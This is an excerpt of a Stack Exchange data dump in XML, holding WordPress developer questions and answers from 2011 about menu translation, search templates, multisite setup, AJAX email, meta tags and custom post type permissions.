  <row Id="18880" PostTypeId="1" CreationDate="2011-05-31T22:24:05.903" Score="1" ViewCount="52" Body="&lt;p&gt;I'm working on a Wordpress plugin that aims to solve content internationalization issues. The plugin enables users to publish content in different languages. It also offers a nice language navigation, so the visitors can switch between available languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already achieved a good result: the plugin adds custom fields with WYSIWYG editor (according to the languages enabled by the administrator), so it becomes less boring to edit and publish translations of posts and pages. The only problem is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't encountered a clean implementation to provide menu internationalization. Does anyone knows how to add custom fields to the menu administration screen to translate menu itens? Or maybe an alternative manner to handle that multiple language navigation deal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: I don't intend to add any kind of tweaking to Wordpress core ;]&lt;/p&gt;&#xA;" OwnerUserId="5845" LastActivityDate="2011-08-30T09:36:55.010" Title="Wordpress clean internationalization for menus?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="18881" PostTypeId="2" ParentId="17498" CreationDate="2011-05-31T22:27:44.010" Score="0" ViewCount="" Body="&lt;p&gt;The output of search results is controlled by &lt;code&gt;search.php&lt;/code&gt; template (or generic &lt;code&gt;index.php&lt;/code&gt; if it's not present).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And search is technically a usual WordPress loop with &lt;code&gt;s&lt;/code&gt; query argument, so any snippets that apply to loops can be used to tweak search.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T22:27:44.010" />
  <row Id="18882" PostTypeId="1" CreationDate="2011-05-31T22:28:16.680" Score="0" ViewCount="124" Body="&lt;p&gt;Edit : ok everything works fine : i finally had to use taxonomies and get_terms, and putting everything in divs work better than lis. Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi,&lt;br&gt;&#xA;i have a problem with the categories and post thumbnail, my images are mixing up, the titles are OK, in the good order, but then the thumbnail of the first category goes under the second category title, and the second category thumbnail goes under the first title. I tried with &quot;orderby&quot; &quot;name&quot; on both &lt;code&gt;get_categories&lt;/code&gt; or &lt;code&gt;$second&lt;/code&gt; query but it's still the same : do you know how i could fix it? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;                        &amp;lt;div id=&quot;cat-diapo&quot;&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;?php &#xA;                        //$tout = wp_list_categories();&#xA;                        $tout = get_categories();&#xA;                        foreach ($tout as $tou){&#xA;                            $mon_id = $tou-&amp;gt;cat_ID;&#xA;                            echo '&amp;lt;li&amp;gt;';&#xA;                            echo '&amp;lt;span&amp;gt;'.$tou-&amp;gt;name.'&amp;lt;/span&amp;gt;';&#xA;                            $argu = array ('cat'=&amp;gt;$mon_id);&#xA;                            $second = new WP_Query($argu);&#xA;                            while ($second-&amp;gt;have_posts()) : $second-&amp;gt;the_post();&#xA;                                $res = '&amp;lt;div class=&quot;sous-cat&quot;&amp;gt;'.the_post_thumbnail(&quot;mini&quot;, array(&quot;alt&quot;=&amp;gt; the_post()-&amp;gt;ID)).'&amp;lt;/div&amp;gt;';&#xA;                            endwhile;&#xA;                            wp_reset_postdata();&#xA;                        }&#xA;                        echo '&amp;lt;/li&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here's the markup :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div id=&quot;cat-diapo&quot;&amp;gt;&#xA;&#xA;        &amp;lt;ul&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;Andalousia&amp;lt;/span&amp;gt;&#xA;        &amp;lt;img width=&quot;150&quot; height=&quot;140&quot; src=&quot;http://localhost:8888/espe/wp-content/uploads/2011/05/h.jpg&quot; class=&quot;attachment-mini wp-post-image&quot; alt=&quot;&quot; title=&quot;h&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;Spain&amp;lt;/span&amp;gt;&#xA;        &amp;lt;img width=&quot;150&quot; height=&quot;123&quot; src=&quot;http://localhost:8888/espe/wp-content/uploads/2011/05/Corida-65x811.jpg&quot; class=&quot;attachment-mini wp-post-image&quot; alt=&quot;&quot; title=&quot;Corida - 65x81&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;Another post&amp;lt;/span&amp;gt;&#xA;        &amp;lt;img width=&quot;150&quot; height=&quot;213&quot; src=&quot;http://localhost:8888/espe/wp-content/uploads/2011/05/p2-150x213.jpg&quot; class=&quot;attachment-mini wp-post-image&quot; alt=&quot;&quot; title=&quot;p2&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all the code php in my first post is wrapped by &quot;ul&quot; tags, and this gives me the code just above : this seems ok, but the image of &quot;Andalousia&quot; is under the title &quot;Spain&quot;, and vice versa...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="5644" LastEditorUserId="5644" LastEditorDisplayName="" LastEditDate="2011-06-02T22:23:26.817" LastActivityDate="2011-06-02T22:23:26.817" Title="how to put thumbnail below category's title?" Tags="&lt;wp-query&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="18883" PostTypeId="2" ParentId="17500" CreationDate="2011-05-31T22:32:43.663" Score="1" ViewCount="" Body="&lt;p&gt;The featured image meta box is enabled under following conditions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_theme_supports( 'post-thumbnails', $post_type ) &amp;amp;&amp;amp; post_type_supports( $post_type, 'thumbnail' )&#xA;    &amp;amp;&amp;amp; ( ! is_multisite() || ( ( $mu_media_buttons = get_site_option( 'mu_media_buttons', array() ) ) &amp;amp;&amp;amp; ! empty( $mu_media_buttons['image'] ) ) ) )&#xA;        add_meta_box('postimagediv', __('Featured Image'), 'post_thumbnail_meta_box', $post_type, 'side', 'low');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So check that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nothing messes up theme's declaration of thumbnails support;&lt;/li&gt;&#xA;&lt;li&gt;you are not using CPT with thumbnails support undeclared;&lt;/li&gt;&#xA;&lt;li&gt;whatever that multisite-related stuff means, if you are using multisite (I do and I don't remember having to do anything specific for featured images).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T22:32:43.663" CommentCount="1" />
  <row Id="18884" PostTypeId="2" ParentId="18882" CreationDate="2011-05-31T22:35:53.710" Score="1" ViewCount="" Body="&lt;p&gt;You seem to be generating broken markup by mixing stuff in and out of list item (&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;) tags. Try validating resulting markup and fix any errors produced.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T22:35:53.710" CommentCount="5" />
  <row Id="18885" PostTypeId="2" ParentId="6559" CreationDate="2011-05-31T22:48:33.640" Score="1" ViewCount="" Body="&lt;p&gt;Codex has extensive &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb#SELECT_Generic_Results&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wpdb&lt;/code&gt;&lt;/a&gt; reference on how to perform different kinds of requests to database. However in most cases it is best to try to access data with available WP or theme/plugin code first.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T22:48:33.640" />
  <row Id="18886" PostTypeId="2" ParentId="6863" CreationDate="2011-05-31T22:53:55.887" Score="0" ViewCount="" Body="&lt;p&gt;Codex has some &lt;a href=&quot;http://codex.wordpress.org/Appearance_Themes_SubPanel#Using_the_FTP_method&quot; rel=&quot;nofollow&quot;&gt;step by step instructions on manual theme upload&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of issues it is also worth checking if theme structure and meta information are adequate and &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;in line with technical requirements&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-check/&quot; rel=&quot;nofollow&quot;&gt;Theme Check&lt;/a&gt; plugin for automated testing, but it's unlikely to help if WP can't properly detect theme.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T22:53:55.887" />
  <row Id="18887" PostTypeId="1" CreationDate="2011-05-31T22:54:27.857" Score="0" ViewCount="50" Body="&lt;p&gt;I am trying to setup a couple of company websites on a WordPress Network install running on IIS7 and SQL Server 2008.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, the sites will work together like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site 1 - All requests for this companies site (regardless of country/region) will go here. This site will just show a map to the customer allowing them to pick the regional site most suited to them (initially North America, Europe and Australia/NZ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site 2 - North American site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site 3 - European site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site 4 - Australia/NZ site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sites 2-4 will share the same design and a lot of the same content. Where they will differ is in relation to news, contact information etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the same user accounts would be able to make changes to all of the sites with the one login and post news to each of the different sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current thinking to achieve this is to install WordPress at sites.domain.com and to then enable the Network feature (using sub-domains). Each regional site will then be region.sites.domain.com. Then, using a domain mapping plugin (recommendations? any IIS specific considerations?) I will redirect the regional domain names to the regional sub-domains I have created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any recommendations for the best approach to this setup and any tips/tricks to make it better?&lt;/p&gt;&#xA;" OwnerUserId="578" LastActivityDate="2011-05-31T23:07:16.847" Title="WordPress Network for regional company websites" Tags="&lt;multisite&gt;&lt;network&gt;&lt;domain-mapping&gt;&lt;iis&gt;" AnswerCount="1" />
  <row Id="18888" PostTypeId="2" ParentId="7181" CreationDate="2011-05-31T22:57:36.400" Score="0" ViewCount="" Body="&lt;p&gt;WordPress tries to be transparent for physical files and folders. So either something gets broken at server configuration level or at WP rewrites level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first things to check in such cases would be disabling pretty permalinks and if there might be come paths generated by WP that conflict with that specific folder name.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T22:57:36.400" />
  <row Id="18889" PostTypeId="2" ParentId="7292" CreationDate="2011-05-31T23:00:58.893" Score="0" ViewCount="" Body="&lt;p&gt;As per comments functionality of pretty permalinks in WordPress has dependencies on server configuration. So it differs, depending on server used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;List of &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#mod_rewrite%3a_.22Pretty_Permalinks.22&quot; rel=&quot;nofollow&quot;&gt;documented dependencies is available in Using Permalinks&lt;/a&gt; article in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T23:00:58.893" />
  <row Id="18890" PostTypeId="2" ParentId="18880" CreationDate="2011-05-31T23:06:06.207" Score="0" ViewCount="" Body="&lt;h2&gt;What are nav menu items?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you're translating post, pages &amp;amp; custom post types, then i guess you'll be also translating the titles. In general nav menu items are only posts, pages, etc. and therefore (should) come with the full content &amp;amp; data the post provides (if not, then you can still call the post meta).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The filter callback function&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Pro:&lt;/em&gt; there's a filter for the output of the nav menu items. &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Contra:&lt;/em&gt; It can cause problems, like the nav menu not appearing on the admin UI screen, so pay attention to test this properly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The &lt;em&gt;&quot;check nav menu items&quot;&lt;/em&gt; callback function:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function wpse18880_check_nav_menu_items( $items, $menu, $args )&#xA;    {&#xA;        if ( is_admin() )&#xA;            return;&#xA;&#xA;        echo '&amp;lt;pre&amp;gt;';&#xA;            # Show what we got:&#xA;            echo '&amp;lt;h3&amp;gt;THE MENU&amp;lt;/h3&amp;gt;';&#xA;            print_r( $menu );&#xA;            echo '&amp;lt;hr /&amp;gt;&amp;lt;h3&amp;gt;THE ITEMS&amp;lt;/h3&amp;gt;';&#xA;            print_r( $items );&#xA;            echo '&amp;lt;hr /&amp;gt;&amp;lt;h3&amp;gt;THE ARGUMENTS&amp;lt;/h3&amp;gt;';&#xA;            print_r( $args );&#xA;        echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;        return $items;&#xA;    }&#xA;    add_filter( 'wp_get_nav_menu_items', 'wpse18880_check_nav_menu_items', 10, 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Modifying the menu items:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So, when looking at the output of &lt;code&gt;$item&lt;/code&gt;, you'll see that every item has it's post-data (&quot;or whatever it is&quot;-data) attached. So calling the additional post data (via &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta()&lt;/code&gt;&lt;/a&gt;) like in the follwing example should give you access to your language specific content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This example is for 'post' post_type menu items:&#xA;foreach ( $items as $item )&#xA;{&#xA;    $post_ID = $item-&amp;gt;ID;&#xA;    // now let's overwrite the original post_title&#xA;    $item-&amp;gt;post_title = get_post_meta( $post_ID, 'i18n_title', true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE:&lt;/em&gt; I only tested the check nav menu items function, not overwriting the single items data. Please update this answer with the final code if you got it working. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-31T23:06:06.207" />
  <row Id="18891" PostTypeId="2" ParentId="18887" CreationDate="2011-05-31T23:07:16.847" Score="1" ViewCount="" Body="&lt;p&gt;I am not entirely sure that it would work with sub-sub-domains. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of your requirements (IIS aside) seem very manageable:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;consistent design would be easy to achieve with shared theme (or several child themes if required);&lt;/li&gt;&#xA;&lt;li&gt;users can be easily assigned to multiple sites, using single login and account (through editing site in Network Admin).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T23:07:16.847" CommentCount="3" />
  <row Id="18892" PostTypeId="2" ParentId="7462" CreationDate="2011-05-31T23:12:42.930" Score="0" ViewCount="" Body="&lt;p&gt;Relationships between posts in WP are not currently available natively and are not viewed as feature important enough to be included in core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plugins available that offer such functionality (such as &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt;) and recently there had been initiative started for &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14513#comment:77&quot; rel=&quot;nofollow&quot;&gt;baseline community-guided plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T23:12:42.930" />
  <row Id="18893" PostTypeId="2" ParentId="18852" CreationDate="2011-05-31T23:13:44.860" Score="3" ViewCount="" Body="&lt;p&gt;Takea look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7472/framework-for-plugin-theme-options-panel&quot;&gt;&lt;strong&gt;framework for plugin/theme options panel?&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3725/wordpress-frameworks-and-parent-themes&quot;&gt;&lt;strong&gt;WordPress frameworks and parent themes&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which both together list a very large number of frameworks and themes to use with there pros and cons.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-31T23:13:44.860" CommentCount="1" />
  <row Id="18894" PostTypeId="2" ParentId="7513" CreationDate="2011-05-31T23:16:52.887" Score="1" ViewCount="" Body="&lt;p&gt;You should (and must for security) use validation function, that is part of Settings API. I don't seem to see it in your code. There you should be able to simply pass empty value for option under circumstances it should be saved as disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you can also just use regular &lt;a href=&quot;http://codex.wordpress.org/Options_API&quot; rel=&quot;nofollow&quot;&gt;Options API&lt;/a&gt; functions to access and modify your settings directly, from any appropriate place in code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-31T23:16:52.887" CommentCount="2" />
  <row Id="18895" PostTypeId="2" ParentId="18845" CreationDate="2011-05-31T23:19:05.727" Score="2" ViewCount="" Body="&lt;p&gt;Basically, you can use JavaScript to post to a WordPress function, then the WordPress function can invoke &lt;code&gt;wp_mail()&lt;/code&gt; to send the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great place to start would be the useful &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;AJAX in Plugins&lt;/a&gt; article on the Codex.  It walks you through all the steps required to add your JavaScript on the front-end, your PHP on the back-end, and everything you need to do to tie the two together.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-05-31T23:19:05.727" />
  <row Id="18896" PostTypeId="1" CreationDate="2011-05-31T23:27:19.663" Score="0" ViewCount="23" Body="&lt;p&gt;I would like for users to be able to log-in and have access to certain files uploaded specifically for them.  Is this possible with a wordpress and a working-knowledge of php?&lt;/p&gt;&#xA;" OwnerUserId="5846" LastActivityDate="2011-05-31T23:27:19.663" Title="Can I make a per-user password protected folder for which they must log-in to access?" Tags="&lt;php&gt;&lt;user-access&gt;&lt;password&gt;" CommentCount="1" />
  <row Id="18897" PostTypeId="2" ParentId="18845" CreationDate="2011-05-31T23:29:59.037" Score="1" ViewCount="" Body="&lt;p&gt;First add your email processing function and hook it to wp_ajax hooks like this using your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//if you want only logged in users to access this function use this hook&#xA;add_action('wp_ajax_mail_before_submit', 'send_AJAX_mail_before_submit');&#xA;&#xA;//if you want none logged in users to access this function use this hook&#xA;add_action('wp_ajax_nopriv_mail_before_submit', 'send_AJAX_mail_before_submit');&#xA;&#xA;function send_AJAX_mail_before_submit(){&#xA;    check_ajax_referer('my_email_ajax_nonce');&#xA;    if (isset($_POST['action']) &amp;amp;&amp;amp; $_POST['action'] ==&quot;mail_before_submit&quot;){&#xA;&#xA;    //send email  wp_mail( $to, $subject, $message, $headers, $attachments ); ex:&#xA;        wp_mail('email@domain.com','this is the email subject line','email message body');&#xA;        echo 'email sent';&#xA;        die();&#xA;    }&#xA;    echo 'error';&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then inside you JQuery create the ajax call like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#donationForm').submit(function() {&#xA;&#xA;// send email to client before moving onto worldpay payment form&#xA;var data = {&#xA;    action: 'mail_before_submit',&#xA;    Whatever: 1234,&#xA;    _ajax_nonce: &amp;lt;?php echo wp_create_nonce( 'my_email_ajax_nonce' ); ?&amp;gt;&#xA;};&#xA;jQuery.post(&quot;&amp;lt;?php bloginfo( 'wpurl' ); ?&amp;gt;/wp-admin/admin-ajax.php&quot;, data, function(response) {&#xA;        alert('Got this from the server: ' + response);&#xA;});&#xA;//  send data to worldpay....&#xA;this.submit();&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you should be set.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-31T23:29:59.037" CommentCount="2" />
  <row Id="18898" PostTypeId="1" AcceptedAnswerId="18903" CreationDate="2011-05-31T23:46:54.643" Score="0" ViewCount="47" Body="&lt;p&gt;Can anyone recommend a simple plugin that allows me to add/edit meta tags for keywords and description on each page of my wordpress site? Just something that adds the fields to the page editor would be ideal. Not looking for SEO megapack or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;John.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-31T23:53:56.027" LastActivityDate="2011-06-01T00:17:44.560" Title="Meta keywords and descriptions plugin for manually editing meta for each page/post" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="18899" PostTypeId="1" AcceptedAnswerId="18904" CreationDate="2011-05-31T23:49:47.243" Score="1" ViewCount="103" Body="&lt;p&gt;The way I'm set up currently, I create a post for each user of the site, custom-post-type, Agent, then assign it to a user, and they can edit it however they like. What I want to remove or disable is in the admin side, Agents/Add New.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently all users are set to Author, so if I could make it so if the user is an Author they can't create new posts of custom-post-type, Agent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to remove the ability of the author to create standard wordpress posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The caveat to all this is I need to allow authors to create as many posts as they like as custom-post-type, Property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a pic of what I want to remove (in red) for agents custom-post-type, if the user is an author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/U64Bc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="4090" LastEditorDisplayName="" LastEditDate="2011-06-06T01:10:41.773" LastActivityDate="2011-06-06T01:10:41.773" Title="Prevent authors from creating new posts of specific custom-post-type" Tags="&lt;custom-post-types&gt;&lt;user-roles&gt;" AnswerCount="1" />
  <row Id="18900" PostTypeId="1" AcceptedAnswerId="18902" CreationDate="2011-05-31T23:52:47.260" Score="0" ViewCount="61" Body="&lt;p&gt;How can one differentiate between posts and pages in search results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is show a &lt;code&gt;the_time&lt;/code&gt; div for posts but not show it for pages, as it's irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a function? &lt;code&gt;&amp;lt;?php if (!is_page()) }&lt;/code&gt; in the loop below doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;//prevent this div from displaying for pages: &#xA;&amp;lt;div class=&quot;searchdate&quot;&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&amp;lt;?php else : ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-01T00:18:59.193" Title="Differentiate between posts and pages in search results" Tags="&lt;posts&gt;&lt;loop&gt;&lt;search&gt;&lt;pages&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18901" PostTypeId="1" AcceptedAnswerId="18906" CreationDate="2011-06-01T00:08:51.407" Score="1" ViewCount="136" Body="&lt;p&gt;&lt;a href=&quot;http://pippinspages.com/tutorials/publish-action-hook-for-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;Pippin&lt;/a&gt; and  &lt;a href=&quot;http://www.catswhocode.com/blog/wordpress-how-to-insert-data-programmatically&quot; rel=&quot;nofollow&quot;&gt;Jean-Baptiste Jung&lt;/a&gt; have very good tutorials on how to programmatically create content when a new post is published using these four actions hooks...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;publish{post_type}&lt;/li&gt;&#xA;&lt;li&gt;add_action('new_to_publish_{post_type},&lt;/li&gt;&#xA;&lt;li&gt;add_action('draft_to_publish_{post_type},&lt;/li&gt;&#xA;&lt;li&gt;add_action('pending_to_publish_{post_type}&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... to run this script...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $user_ID;&#xA;$new_post = array(&#xA;    'post_title' =&amp;gt; 'My New Post',&#xA;    'post_content' =&amp;gt; 'Lorem ipsum dolor sit amet...',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;    'post_author' =&amp;gt; $user_ID,&#xA;    'post_type' =&amp;gt; 'post',&#xA;    'post_category' =&amp;gt; array(0)&#xA;);&#xA;$post_id = wp_insert_post($new_post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What hook should I be using to do this function &lt;strong&gt;only&lt;/strong&gt; when a post is updated?&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-01T20:26:39.267" Title="What hook should be used to programmatically create a post only when master post is updated?" Tags="&lt;custom-post-types&gt;&lt;hooks&gt;&lt;actions&gt;&lt;update&gt;&lt;wp-insert-post&gt;" AnswerCount="2" />
  <row Id="18902" PostTypeId="2" ParentId="18900" CreationDate="2011-06-01T00:13:57.340" Score="1" ViewCount="" Body="&lt;p&gt;Try this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //prevent this div from displaying for pages:&#xA;if ( get_post_type() != 'page' ) : ?&amp;gt;&#xA;   &amp;lt;div class=&quot;searchdate&quot;&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;is_page()&lt;/code&gt; conditional tag only checks if currently displayed content is a single page view. Nothing for you at this point. See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-06-01T00:18:59.193" LastActivityDate="2011-06-01T00:18:59.193" CommentCount="1" />
  <row Id="18903" PostTypeId="2" ParentId="18898" CreationDate="2011-06-01T00:17:44.560" Score="2" ViewCount="" Body="&lt;p&gt;the simple solution would be to paste this snippet of code in your theme's functions.php file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head','keywords_and_desc');&#xA;function keywords_and_desc(){&#xA;    global $post;&#xA;    if (is_single()||is_page()){&#xA;        if(get_post_meta($post-&amp;gt;ID,'my_keywords',true) != '') &#xA;            echo    '&amp;lt;meta content=&quot;'.get_post_meta($post-&amp;gt;ID,'my_keywords',true).'&quot; name=&quot;keywords&quot;&amp;gt;';&#xA;        if(get_post_meta($post-&amp;gt;ID,'my_description',true) != '') &#xA;            echo    '&amp;lt;meta content=&quot;'.get_post_meta($post-&amp;gt;ID,'my_description',true).'&quot; name=&quot;description&quot;&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the just add keywords and description using the built in custom fields on a new/edit post/page screen, name the keywords field &lt;code&gt;my_keywords&lt;/code&gt; and the description field &lt;code&gt;my_description&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use a very lightweight and simple plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-meta-tags/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simple Meta Tags&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T00:17:44.560" CommentCount="1" />
  <row Id="18904" PostTypeId="2" ParentId="18899" CreationDate="2011-06-01T00:19:53.577" Score="0" ViewCount="" Body="&lt;p&gt;try my plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-posts-creation-limits/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Posts Creation Limits&lt;/strong&gt;&lt;/a&gt; which was made for that same reason.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T00:19:53.577" CommentCount="2" />
